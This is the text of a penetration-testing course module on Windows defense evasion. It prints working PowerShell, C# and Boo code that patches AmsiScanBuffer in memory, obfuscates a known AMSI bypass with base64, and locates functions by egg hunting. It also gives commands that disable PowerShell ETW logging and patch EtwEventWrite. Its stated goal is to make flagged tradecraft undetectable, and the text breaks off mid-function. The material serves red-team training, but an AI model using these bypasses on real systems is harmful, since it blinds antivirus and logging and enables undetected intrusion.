410 Defense Evasion PDF

Penetration Testing
eXtreme
Defense Evasion
S e c t i o n 0 4 | M o d u l e 0 1
© Caendra Inc. 2020
All Rights Reserved
Table of Contents
MODULE 01 | EVASION
1.1 Evasion 1.6 EDR 1.10 Sensitive
Groups
1.2 AMSI 1.7 Discovery
1.11 Payload
1.3 BYOI 1.8 Lateral Development
Movement
1.4 ETW 1.12 Unhooking
1.9 Credential
1.5 SYSMON Access 1.13 Stealth Macro
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.2

Learning Objectives
By the end of this module, you should have a better
understanding of:
✓ Common defense mechanisms

✓ Defense team limitations
✓ How to repurpose existing tradecraft to make it
undetectable
✓ How to build custom payloads
✓ How to remove API hooks used by EDR solutions

1.1
EVASION

1. Introduction
Defense evasion is a crucial skillset every red team

operator must learn. Antivirus companies are always
improving they detection capabilities and implementing
novel techniques such as machine learning or behavior
analysis.
Threat hunters are also continuously developing their skills

in order to become more efficient at uncovering red ream
operations and real attacks in their organizations.
1. Introduction
Red team operators must perfectly understand how

offensive tools work and the limitations in existing in
defense technologies and processes to stay under the
radar and avoid being detected by the blue team.
Some of the techniques presented in this module can be

detected upon some time, it is important to keep up the
research and find new bypasses for defense technologies.
1.2
AMSI

1.2 AMSI
Anti Malware Scan Interface (AMSI)

AMSI is an interface for applications and services to
integrate with antimalware products.
Capabilities for Anti Malware Scan Interface include

scanning files and memory streams, content source URL/IP
reputation checks and other techniques.

1.2 AMSI
AMSI deeply integrates with several components of Microsoft

Windows, having visibility over:
• User Account Control (UAC) at the time of elevation of EXE,
COM, MSI or ActiveX installation.
• PowerShell scripts, interactive use and dynamic code
evaluation.
• Windows Script Host (wscript.exe and cscript.exe)
• JavaScript and VBScript
• Office VBA Macros.
• .NET starting from Framework 4.8 on Windows 10.
1.2 AMSI
AMSI uses the following enumerations:
• AMSI_ATTRIBUTE: Specifies the types of attributes to be requested
by IAmsiStream::GetAttribute.
• AMSI_RESULT: Specifies the types of results returned by a scan.
Possible values are:
• AMSI_RESULT_CLEAN: The result is clean, known and with low
probability of changing over future definition updates.
• AMSI_RESULT_NOT_DETECTED: Clean result, but could change over
future definition updates.
• AMSI_RESULT_BLOCKED_BY_ADMIN_START/AMSI_RESULT_BLOCKED_
BY_ADMIN_END: Blocked by an Administrator policy on this machine.
• AMSI_RESULT_DETECTED: The content is considered malware and
should be blocked
Go to Slide 328 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.10
1.2 AMSI
AMSI provides the following functions:

• AmsiInitialize: Initializes the AMSI API
• AmsiOpenSession: Opens a session to correlate multiple
scans requests
• AmsiCloseSession: Closes a session.
Go to Slide 328 and Slide 329 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.11
1.2 AMSI
• AmsiScanBuffer: Scans a buffer-full of content for

malware and returns an AMSI_RESULT
• AmsiScanString: Scans strings for malware and returns
an AMSI_RESULT
• AmsiResultIsMalware: Determines if the AMSI_RESULT
provided by AmsiScanBuffer or AmsiScanString is
malware and should be blocked.
• AmsiUninitalize: Removes the instance of the AMSI API
opened by AmsiInitialize
1.2 AMSI
Some examples of AMSI dynamic detection capabilities at

the time of writing that can detect existing offensive toolkit
are:
• Detecting obfuscated malicious PowerShell scripts.
• Detecting loaded assemblies from memory in .NET via
Assembly.Load and similar functions.
• Detecting obfuscated VBA macros

1.2 AMSI
This image shows how AMSI works with Windows Defender Service. Applications
where AMSI has optics are passed to AmsiScanBuffer or AmsiScanString functions
to be evaluated and blocked if malicious content is detected.
Image Source: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.14
1.2 AMSI
AMSI Patching
When a process is created, amsi.dll is mapped into the virtual
address space of the process, meaning exported functions are
available to use by this process in order to detect malicious
content. In case of PowerShell, AmsiScanBuffer is the function
used by the Anti Malware Scan Interface to detect malicious
content.
Having the amsi.dll mapped into the address space of the

process means the AmsiScanBuffer function can be patched in
order to always return AMSI_RESULT_CLEAN
1.2 AMSI
By checking the AmsiScanBuffer function from amsi.dll in Ghidra,

we can observe various instructions followed by conditional
jumps to the same address ”LAB_180002615”
https://ghidra-sre.org/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.16
1.2 AMSI
The content of this address is “MOV EAX,0x80070057”

which are in fact AMSI_RESULT_CLEAN instructions.
1.2 AMSI
The hex opcodes for the previous instruction are “0xB8,

0x57, 0x00, 0x07, 0x80”, meaning that if we patch the
beginning of AmsiScanBuffer functions with these opcodes
opcodes followed by a 0xC3 (retn), as soon as the function
is called it will return the value of AMSI_RESULT_CLEAN
without performing any checks.

1.2 AMSI
To perform the patch to the AmsiScanBuffer function the

following Windows API Calls will be used:
• LoadLibrary: Loads the specified module into the
address space of the calling process and returns a
handle that can be used by GetProcAddress.
• GetProcAddress: Retrieves the address of an exported
function or variable from the specified DLL.
• VirtualProtect: Changes the protection of a region of
committed pages in the virtual address space of the
calling process.
1.2 AMSI
Performing the patch to the AmsiScanBuffer function can

be done from PowerShell using Add-Type for adding a .NET
Core class where the Windows API Calls needed have been
defined.
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-
type?view=powershell-7 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.20
1.2 AMSI
Use this example in a

PowerShell session
with Real-Time,
Cloud-delivered and
Tamper protections
enabled.
In this case, do not

copy the whole script
at the same time as
it will be flagged.
Source code: https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.21
1.2 AMSI
Following the previous steps results in a completely AMSI Bypass inside the current PowerShell
process, allowing to import scripts without being flagged by Windows Defender.
Source code: https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.22
1.2 AMSI
Although the previous AMSI

Patch works if copied line by
line, in most situations this is
not possible. Invoking the
script via a download cradle
or copying it into PowerShell,
will cause AMSI to detect it
and create an alert that can
trip the defense team of our
presence.
1.2 AMSI
During the test, the string ”AmsiScanBuffer” was used to

test if AMSI was enabled or not. This is because this string
is flagged as malicious by Microsoft Windows Defender.

1.2 AMSI
AmsiScanBuffer address cannot be hardcoded in the

bypass to avoid using strings that can be flagged due to
Address Space Layout Randomization (ASLR) making it
different each reboot.
https://en.wikipedia.org/wiki/Address_space_layout_randomization PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.25
1.2 AMSI
However, ASLR relocates entire executable images as a unit and

all addresses are relative to its base address. This means that if
two functions from the amsi.dll are addressed at
0x7ff9776e2540 and 0x7ff9776e3540 they will remain 0x1000
bytes apart even after the image is relocated.
Using DLL Export Viewer, the relative addresses of amsi.dll

exported functions can be obtained to calculate the differences
between them. Instead of calling AmsiScanBuffer, another known
address can be used and add or subtract the difference in order
to obtain the AmsiScanBuffer function address.
https://www.nirsoft.net/utils/dll_export_viewer.html PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.26
1.2 AMSI
In DLL Export Viewer, the

AmsiSCanBuffer function
Relative Address is
0x00002540, 9536 in decimal.
Loading the amsi.dll Library

and adding to this address
9536 should give the
AmsiScanBuffer Function
address in memory.
1.2 AMSI
As we can see in the code,

retrieving the amsi.dll base
address and adding 0x2540 to
it gives the exact address of
the AmsiScanBuffer function.

1.2 AMSI
As shown in DLL Export Viewer,

DLLGetClassObject relative
address is 0x1890, while
AmsiScanBuffer relative address
is 0x2540 having a difference of
0x0cb0 (3248 in dec).
By loading the DLLGetClassObject

address and adding the difference,
AmsiScanBuffer address can be
calculated indirectly without
tripping the defenses.
1.2 AMSI
With this techniques, an AMSI

Bypass previously flagged as
malicious can be repurposed to
be used again without worrying
about detections.
Furthermore, if new signatures

are added we can easily
repurpose the bypass to make
it undetectable again.
1.2 AMSI
Repurposed ASBBypass.ps1 code part 1:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
public static extern IntPtr LoadLibrary(string name);
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);
}
"@
Add-Type $Win32

1.2 AMSI
Repurposed ASBBypass.ps1 code part 2:
# Retrieves amsi.dll base address

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
# Retrieves the address of DllGetClassObject function
$DllGetClassObjectAddress = [Win32]::GetProcAddress($LoadLibrary, "DllGetClassObject")
# Calculates the ASB Address
$ASBAddress = [System.IntPtr]::New($DllGetClassObjectAddress.ToInt64() + [Int64](3248))
$oldProtect = 0
# Changes memory protection to PAGE_EXECUTE_READWRITE
[Win32]::VirtualProtect($ASBAddress, [uint32]5, 0x40, [ref]$oldProtect) | Out-null
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$newProtect = 0
# Copies the patch to the start of ASB Function
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $ASBAddress, 6)
# Restores memory protection to PAGE_EXECUTE_READ
[Win32]::VirtualProtect($ASBAddress, [uint32]5, $x, [ref]$newProtect) | Out-null

1.2 AMSI
Another interesting PowerShell AMSI Bypass was published by Matt

Graeber. This bypass sets a variable determining whether the content
should be scanned. By changing the contents of this variable to $true,
AMSI will report the content as non-malicious without scanning it.
1.2 AMSI
This bypass has been flagged and doesn’t work anymore as

is. However, we could also repurpose this AMSI bypass for
not being detected by existing signatures.
1.2 AMSI
By looking at the bypass there are 3 strings that can be at

least base64 encoded in order to bypass statics
signatures.
These are:
1. "System.Management.Automation.AmsiUtils"
2. "amsiInitFailed"
3. "NonPublic,Static"
1.2 AMSI
For the repurposed bypass, we will create a function that

accepts an encoded base64 string and returns the decoded
content.

1.2 AMSI
Now we can base64 encode

the existing strings using
PowerShell or TxtWizard.
Then, 3 variables will be

created for hosting the
decoded content using our
previously created function.
http://www.txtwizard.net/encoding PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.37
1.2 AMSI
Now we will replace the strings in the original AMSI Bypass

for the variables holding the decoded content.

1.2 AMSI
Defender's signature
detection can be
bypassed with some
basic obfuscation,
allowing attacker's to
successfully bypass
AMSI reviving previously
detected techniques.

1.2 AMSI
Repurposed AMSI Bypass code:

function b64decode
{
param ($encoded)
$decoded = $decoded =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($en
coded))
return $decoded
}
$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)

1.2 AMSI
Another method that can be used to dynamically locate the

AmsiScanBuffer function address instead of GetProcAddress
function directly, is to locate another function not containing the
string “amsi” as an entry point to the Virtual Address Space of the
process and search for a specific pattern. This technique is
called egg hunting.
This technique consists on parsing a region of memory searching

for a small pattern to locate a memory address. However in this
case it will be the first 24 bytes of the AmsiScanBufferFunction.
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.41
1.2 AMSI
Using Ghidra we can disassemble the AmsiScanBuffer function to

analyze the instructions that can be used as the egg. They are located
from 0x180002540 to 0x1800022554. The bytes of the function are:
"0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49
0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70"
1.2 AMSI
This sequence must be unique, or the egg hunter will return

a random address not corresponding to the
AmsiScanBuffer function.
There is also another thing to take into account, the

function address we are targeting as an entry point to the
Virtual Address Space must be lower than the targeted
function, as the value will be incremented while looking for
the egg.
1.2 AMSI
The class Hunter can be used in the PowerShell code to

find an egg starting from a memory address.
Class Hunter {
static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
Source code: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.44
1.2 AMSI
By implementing the Hunter

class, the FindAddress
function successfully locates
the AmsiScanBufferAddress
Starting from the
DLLGetClassObject Address.
By using this technique,
calculating the difference
between base addresses and
hardcoding it can be avoided
1.2 AMSI
There is also the possibility

to avoid using the
GetProcAddress API call, as
starting from the address
returned by the LoadLibrary
function will achieve the
same result as seen on the
image.
1.2 AMSI
Using the address returned by

LoadLibrary in the FindAddress
function retrieves the
AmsiScanBuffer address in a
stealthier way without using the
GetProcAddress API call.
Once the address is obtained, the

same patch can be applied in order
to disable AMSI protection from the
current process.
1.2 AMSI
Code:
$Win32 = @"
using System;
public class Win32 {
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect,
out uint lpflOldProtect);
}
"@

1.2 AMSI
Code:
Add-Type $Win32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}

1.2 AMSI
Code:
# Retrieves amsi.dll base address

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)

1.2 AMSI
Code:
$ASBAddress = [Hunter]::FindAddress($LoadLibrary, $egg)

Write-Host "amsi.dll address: $LoadLibrary"
Write-Host "ASB Address: $ASBAddress"
#Changes memory protection to PAGE_EXECUTE_READWRITE
$oldProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, 0x40, [ref]$oldProtect) | Out-null
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
# Copies the patch to the start of ASB Function
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $ASBAddress, $Patch.Length)
# Restores memory protection to PAGE_EXECUTE_READ
$newProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, $oldProtect, [ref]$newProtect) | Out-null

1.2 AMSI
Remember that AMSI has visibility over .NET starting from

version 4.8 for assemblies via methods such as
Assembly.Load(Byte[]).
As a result, AMSI bypasses should be implemented in .NET

payloads to avoid being flagged by the antivirus.
https://docs.microsoft.com/en-
us/dotnet/api/system.reflection.assembly.load#System_Reflection_Assembly_Load_System_Byte___ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.52
1.2 AMSI
Existing bypasses on C# can

also be detected by AMSI and in
order to make them more
resilient about detection the
same modifications can be
applied.
As an example
AmsiScanBufferBypass
compiled to a dll is easily
detected if dropped to disk.
https://github.com/rasta-mouse/AmsiScanBufferBypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.53
1.2 AMSI
Repurposing the AmsiScanBufferBypass can be done by,

for example, locating the Base Address of amsi.dll and
jumping to AmsiScanBuffer function using the relative
address to avoid the use of GetProcAddress Windows API
Call.
https://github.com/rasta-mouse/AmsiScanBufferBypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.54

1.2 AMSI
In this case, the bypass was simplified. The 32

bits patch was removed and its only working
against 64 bits. GetProcAddress was also
removed from Win32 class.
Once the IntPtr to amsi.dll is obtained in line 12,

we add 0x2540 to it in line 14 to locate the
AmsiScanBuffer Address.
Having the AmsiScanBuffer address, the next

step is to change memory permissions to
PAGE_EXECUTE_READWRITE, apply the patch
via Marshall.Copy and restore memory
protections to PAGE_EXECUTE_READ (Lines 16-
21).

1.2 AMSI
Now the DLL can be compiled using:

“csc <SOURCE_FILE> -target:library –out:<OUTPUT_FILE>”
This DLL can be encoded into base64 and loaded via:

”[System.Reflection.Assembly]::Load([System.Convert]::Fro
mBase64String(“<ENCODED_DLL>”))”
1.2 AMSI
For demonstration purposes, the DLL is dropped into the

disk and loaded via ”Add-Type -Path <DLL>” in order to
bypass AMSI inside a PowerShell session.
1.3
Bring Your Own

Interpreter (BYOI)

1.3 Bring Your Own Interpreter
Bring Your Own Interpreter (BYOI) main concept is you use

third-party .NET scripting languages in the same way
PowerShell was used before.
This can be accomplished by embedding the interpreter

into a .NET language existing by default in Windows
installations.

3. Bring Your Own Interpreter
Before moving into BYOI there are a few concept about

.NET assemblies that needs to be clarified:
• Assemblies generated in .NET format are different than
the ones generated via un-managed languages such as
C/C++.
• .NET assemblies can be executed by any .NET
language, including third party languages.
• Assembly.Load() can be used to reflectively load .NET
assemblies.
This means, .NET natively supports reflective DLL/PE injection

via Assembly.Load() function. This function is one of the
scanned methods by AMSI starting from .NET Framework
version 4.8.
BooLang is an object oriented statically typed programming

language for .NET and Mono runtimes focusing on language
and compiler extensibility initially created for Unity Gaming
Engine. It supports Platform Invoke (P/Invoke) natively from an
in-memory engine/runtime/compiler.
https://github.com/boo-lang/boo
https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.61
By supporting P/Invoke natively and exposing Compiler and

Interpreter APIs, Boo is a perfect candidate from weaponization
perspective as it can be embedded in other languages and the
code will be compiled and executed directly in memory without
being detected by AMSI.
Bring Your Own Interpreter can be used with PowerShell to

bypass some AMSI and Script Logging features or even to
disable them. In order to understand how the process work, the
file Invoke-Boolang.ps1 will be used with some parts stripped.
https://github.com/boo-lang/boo/wiki/Boo-as-an-embedded-scripting-language
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/Invoke-Boolang.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.62
Boolang needs four dlls to be loaded reflectively in order to compile and run scripts in memory. These are hosted in
variables inside the PowerShell code, compressed and Base 64 encoded in lines 4-7.
These DLLs will be decompressed and placed into byte arrays via the Load-Assembly function from line 9 to 15 to be
loaded later via the Assembly.Load() function and assigned to their respective variables in lines 17-20.
https://github.com/boo-lang/boo/tree/master/bin PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.63
The boolang source code will be included in lines 22-27. This will be compiled and executed in memory.
A StringInput object is created with the boolang source code to tell the Boolang compiler the code is coming from a string
instead of a file in the disk on line 29.
Line 32 creates a CompilerParameter object passing false to the constructor in order to get rid of some bugs present in Boolang
when is embedded into PowerShell.
Lines 34-36 adds the ScriptInput object to the CompilerParameters and CompileToMemory pipeline is specified. The compiler is
also instructed to allow Duck Typing which makes Boolang code more similar to Python.
https://github.com/boo-lang/boo/wiki/Duck-Typing PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.64

Lines 40-46 instructs the compiler to add mscorlib, System and

System.Core as references to the Boolang code to access basic .NET
APIs. More references can be added if there are more .NET namespaces
needed from the boo source.
The four Boolang Assemblies are also added as references just in case
the Boo Toolchain is needed and context managers.
On line 50 the CompilerParameters
object is passed to the
BooCompiler and the code will be
compiled in line 53.
Line 55 checks that compilation

was successful.
Line 58-60 uses GetType() function

to retrieve the entry class called
MyScriptModule as no class were
defined inside the Boo Source.
Then the GetMethod() function will
be called to retrieve the Main Boo
function and execute it via
Invoke().
Beware that strings flagged as malicious code will be still

detected by AMSI if they are placed inside the PowerShell
code. This can be solved using Invoke-WebRequest to
download the code we want to execute in case is flagged
by AMSI.
The previous AmsiScanBuffer Bypass can be

implemented in Boolang in order to disable AMSI from the
current process as P/Invoke is natively supported.
Lines 1-2 will define the necessary imports in our Boo source code.
Lines 4-14 are the Windows API Calls needed to Patch the
AmsiScanBuffer function, LoadLibrary, GetProcAddress, and
VirtualProtect.
PatchMem function will accept a DLL, a Function to Patch and a path as

arguments. It will then use the LoadLibrary function to get a handler to the DLL,
GetProcAddress to locate the function to be patched and VirtualProtect to change
the memory permissions to PAGE_EXECUTE_READWRITE. Once the patch is
applied, permissions are restored.
The main function detects if the process is running in 32 or 64 bits based in the size of a
pointer in line 35.
Depending if the process is running in 32 or 64 bits, it calls the PatchMem function with
“amsi.dll” as the library where the function is contained, “AmsiScanBuffer” as the function to
be patched, and the appropriate patch depending on if the process is running in 32 or 64 bits.
Replacing the previous

PS1 BooSource variable
with the new code and
executing it into the
target hosts, will result in
an AMSI bypass using
BYOI technique.

Code:
function Invoke-BoolangAmsiPatch
{
$BooLangDLL = @'<BOOLANG_DLL>'@
$BooLangCompilerDLL = @'<BOOLAND_COMPILER_DLL>'@
$BooLangParserDLL = @'<BOOLAND_PARSER_DLL>'@
$BoolangExtensionsDLL = @'<BOOLANG_EXTENSION_DLL>'@
function Load-Assembly($EncodedCompressedFile)
{
$DeflatedStream =
[IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1900000)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1900000) | Out-Null
return [Reflection.Assembly]::Load($UncompressedFileBytes)
}

$BooLangAsm = Load-Assembly($BooLangDLL)
$BooLangExtensionsAsm = Load-Assembly($BoolangExtensionsDLL)
$BooLangCompilerAsm = Load-Assembly($BooLangCompilerDLL)
$BooLangParserAsm = Load-Assembly($BooLangParserDLL)
$BooSource = @'
import System
import System.Runtime.InteropServices
[DllImport("kernel32.dll", SetLastError: true, CharSet: CharSet.Unicode)]

public static def LoadLibrary(lpFileName as string) as IntPtr:
pass
[DllImport("kernel32.dll", CharSet: CharSet.Ansi, ExactSpelling: true, SetLastError: true)]

public static def GetProcAddress(hModule as IntPtr, procName as string) as IntPtr:
pass
[DllImport("kernel32.dll")]
public static def VirtualProtect(lpAddress as IntPtr, dwSize as int, flNewProtect as uint, ref lpflOldProtect as IntPtr) as b ool:
pass
public static def PatchMem(dll as string, function as string, patch as (byte)):

try:
oldProtect as IntPtr = 0
library = LoadLibrary(dll)
print ""
print "[>] $(dll) address : $(library)"
address = GetProcAddress(library, function)
print "[-] $(function) address : $(address)"
result = VirtualProtect(address, patch.Length, 0x40, oldProtect)
print "[-] Memory Protection changed to PAGE_EXECUTE_READWRITE"
Marshal.Copy(patch, 0, address, patch.Length)
print "[+] Patched $(dll) : $(function)"
print "[-] Memory Protection Restored to PAGE_EXECUTE_READ"
except:
print "[!] Could not patch $(dll) : $(function)"
public static def Main():
amsi_patch as (byte)
if IntPtr.Size == 8:
// 64 Bits process
print "[-] x64 Process"
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3])

else:
// 32 Bits process
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00])
PatchMem("am"+"si.dll", "Am"+"si"+"Sc"+"anBu"+"ffer", amsi_patch)
'@
#$scriptinput = New-Object "Boo.Lang.Compiler.IO.StringInput" -ArgumentList "MyScript.boo, $BooSource"
$scriptinput = [Boo.Lang.Compiler.IO.StringInput]::new("MyScript.boo", $BooSource)
#Passing $false to the constructor tells Boo to not automatically reference default assemblies
$parameters = [Boo.Lang.Compiler.CompilerParameters]::new($false)
$parameters.Input.Add($scriptinput) | Out-Null
$parameters.Pipeline = [Boo.Lang.Compiler.Pipelines.CompileToMemory]::new()
$parameters.Ducky = $true # $false increases speed but disables duck typing
#Here we manually add assemblies as references to the compiler that will probably be used 100% of the time within our Boo
code
$parameters.AddAssembly($BooLangAsm)
$parameters.AddAssembly($BooLangExtensionsAsm)
$parameters.AddAssembly($BooLangCompilerAsm)
$parameters.AddAssembly($BooLangParserAsm)
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("mscorlib"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System.Core"))

$compiler = [Boo.Lang.Compiler.BooCompiler]::new($parameters)
Write-Output "[+] Compiling..."

$context = $compiler.Run()
if ($context.GeneratedAssembly -ne $null)

{
Write-Output "[+] Executing..."
$scriptModule = $context.GeneratedAssembly.GetType("MyScriptModule")
$mainfunction= $scriptModule.GetMethod("Main")
$mainfunction.Invoke($null, $null)
}
else {
Write-Output "`nError(s) when compiling Boo source!`n"
Write-Output $context.Errors.ToString($true)
}
}

RunBooAssemblyResolve.cs is a C# code example

embedding a Boolang compiler to execute code resolving
the needed assemblies at runtime.
Similar to the PowerShell code just covered, this can be

used in Csharp payloads to avoid being detected by
defense mechanisms inspecting .NET languages such as
AMSI.
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/runBooAssemblyResolve.cs PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.77
1.4
Event Tracking for

Windows (ETW)

1.4 Event Tracing for Windows
Event Tracing for Windows (ETW) is the mechanism used

by Windows in order to trace and log system events.
Although attackers use to clear event logs to cover their
tracks, this action itself generates a new event log. Red
team operators may tamper ETW to cease the flow of
logging temporary or permanently without generating
event log entries in the process.
https://blogs.msdn.microsoft.com/ntdebugging/2009/08/27/part-1-etw-introduction-and-overview/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.79

ETW tampering techniques can be divided into two

categories:
1. Persistent: They usually require a reboot before the
changes takes effect. They still can be reverted, but
they will still require another reboot. Usually persistent
attacks are more straight forward to detect tan
ephemeral attacks.
2. Ephemeral: Tampering can take place without a reboot

involved
AutoLogger provider removal
Requires admin privileges and involves removing a provider entry from
autologger. This will cause events to stop flowing to their trace
session. For example:
“Remove-EtwTraceProvider -AutologgerName EventLog-Application -

Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}’”
Will end up deleting the registry key

HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-
Application\{a0c1853b-5c40-4b15-8766-3cf1c58f985a} disabling
Microsoft-Windows-PowerShell ETW provider.
https://docs.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-
session PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.81
Provider “Enable” property modification

Requires Admin privileges and a system reboot. Involves
alerting the Enable keyword of an autologger session.
By default ETW provider entries in the EventLog-

Application autoloffer sessions have a value of 0x41, this
is equals to EVENT_ENABLE_PROPERTY_SID and
EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0.
Events generated by a provider are logged even if the
keyword value is set to 0.
If an attacker replaces the property

EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 for
EVENT_ENABLE_PROPERTY_IGNORE_KEYWORD_0, it will result
in events where the keyword is 0 not logged. PowerShell events
supplies a 0 keyword value and as a result they will not appear
in the PowerShell event log. This can be accomplished via:
Set-EtwTraceProvider -Guid '{A0C1853B-5C40-4B15-8766-

3CF1C58F985A}' -AutologgerName 'EventLog-Application' -
Property 0x11
This will set up the registry key

HKLM\System\CurrentControlSet\Control\WMI\Autologg
er\EventLog-Application\{a0c1853b-5c40-4b15-8766-
3cf1c58f985a}\EnableProperty to 0x11 and PowerShell
commands will not appear in the event log after a reboot.

ETW provider removal from a trace session

This ephemeral method requires SYSTEM privileges.
Although no file, registry or event log artifacts could be
associated with this event.
An ETW provider must be removed from a trace session,

limiting the ability to supply logs until the next reboot or
the attacker restores the provider.
Defenders relying on event logs for threat detection may

be unable to detect this attack, although elevating
privileges to SYSTEM could trigger some alerts.
Disabling PowerShell event logging until the next reboot

can be accomplished via:
”logman update trace EventLog-Application --p Microsoft-
Windows-PowerShell -ets”
EtwEventWrite Patching
The function from ntdll.dll EtwEventWrite is the one in
charge of writing events to a session. This can be patched
similar to AMSI in the current process to avoid ETW
Detections. This is because ETW events are sent from
userland and in case of a payload they are also issued
from a process under attacker’s control.
https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.87

EtwEventWrite Patching can

be done similar to AMSI
patching, in fact.
In the last example using

Boolang for AMSI patching,
with a small modification it
can be repurposed to patch
EtwEventWriteFunction
By adding the etw_patch byte array to the code and calling the
PatchMem function with ntdll.dll, EtwEventWrite and the patch
sequence, will result in a complete bypass to ETW logging under the
current process.
function Invoke-EtwAmsiPatch
{
$BooLangDLL = @'<BOOLANG_DLL>'@
$BooLangCompilerDLL = @'<BOOLAND_COMPILER_DLL>'@
$BooLangParserDLL = @'<BOOLAND_PARSER_DLL>'@
$BoolangExtensionsDLL = @'<BOOLANG_EXTENSION_DLL>'@
function Load-Assembly($EncodedCompressedFile)
{
$DeflatedStream =
